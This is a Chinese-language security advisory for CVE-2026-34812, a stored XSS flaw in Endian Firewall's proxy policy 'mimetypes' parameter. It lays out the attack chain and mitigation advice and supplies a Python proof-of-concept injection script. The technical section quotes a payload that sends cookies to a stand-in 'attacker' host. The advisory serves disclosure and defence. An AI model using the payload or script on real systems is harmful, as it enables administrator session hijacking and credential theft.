IPBUF安全漏洞报告
English
CVE-2026-34812 CVSS 6.4 中危

CVE-2026-34812: Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34812
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

XSS存储型XSSEndian FirewallWeb安全跨站脚本

漏洞概述

Endian Firewall 3.3.25及之前版本存在存储型跨站脚本(XSS)漏洞。攻击者可利用`/cgi-bin/proxypolicy.cgi`接口中的`mimetypes`参数注入恶意JavaScript代码。由于系统未对用户输入进行充分过滤,该恶意代码会被持久化存储。当其他授权用户查看受影响页面时,恶意脚本自动执行,可能导致用户会话劫持或敏感信息泄露。

技术细节

该漏洞源于Endian Firewall在处理Web代理策略配置请求时,未能对`mimetypes`参数进行严格的输入验证和上下文相关的输出编码。攻击者首先需要通过低权限账户登录系统,随后向`/cgi-bin/proxypolicy.cgi`接口发送特制的HTTP POST或GET请求。在请求中,将`mimetypes`参数的值替换为经过编码或构造的XSS Payload(例如`<script>fetch('http://attacker/?c='+document.cookie)</script>`)。由于应用程序直接将用户输入反射并存储在后台数据库或配置文件中,且在渲染页面时未进行HTML实体转义,导致恶意脚本被持久化。当管理员或其他高权限用户访问该代理策略管理页面时,浏览器会解析并执行注入的脚本代码。这使得攻击者能够窃取受害者的Session ID、Cookie等敏感凭证,进而劫持用户会话,甚至以受害者身份执行恶意管理操作。

攻击链分析

STEP 1
步骤1:信息收集与登录
攻击者获取目标Endian防火墙的低权限账户凭据,并成功登录Web管理界面。
STEP 2
步骤2:构造恶意请求
攻击者向`/cgi-bin/proxypolicy.cgi`端点发送HTTP请求,在`mimetypes`参数中注入包含XSS Payload的数据。
STEP 3
步骤3:持久化存储
服务器接收并保存配置数据,未过滤的恶意脚本被存储在服务器端(数据库或配置文件中)。
STEP 4
步骤4:触发执行
当管理员或其他具有更高权限的用户访问包含该配置的代理策略页面时,浏览器加载并解析恶意脚本。
STEP 5
步骤5:窃取凭据
恶意脚本在受害者浏览器环境中执行,窃取Session ID或Cookie,并发送给攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://<target-ip>/cgi-bin/proxypolicy.cgi" login_url = "https://<target-ip>/cgi-bin/login.cgi" # Attacker credentials (requires low privilege account) credentials = { "username": "low_priv_user", "password": "password123" } # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate to the application try: login_resp = session.post(login_url, data=credentials, verify=False) if login_resp.status_code != 200: print("Login failed") exit() except Exception as e: print(f"Connection error: {e}") exit() # Step 2: Prepare the XSS payload # The payload injects a script tag to execute JavaScript xss_payload = '"><script>alert(document.cookie);</script>' # Step 3: Construct the exploit data # Vulnerable parameter is 'mimetypes' exploit_data = { "mimetypes": xss_payload, "action": "save", "csrf_token": "<obtain_csrf_token_from_page>" # May need to scrape this first } # Step 4: Send the malicious request response = session.post(target_url, data=exploit_data, verify=False) if response.status_code == 200: print("Payload injected successfully.") print("Trigger: Navigate to the proxypolicy page as an Admin to observe the XSS.") else: print(f"Injection failed, status code: {response.status_code}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
建议立即升级至官方最新版本以修复此漏洞。若暂时无法升级,应严格限制防火墙Web管理界面的访问来源IP,仅允许内部管理网络访问。同时,管理员应避免在不信任的网络环境中登录管理后台,并在使用完毕后及时注销会话,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表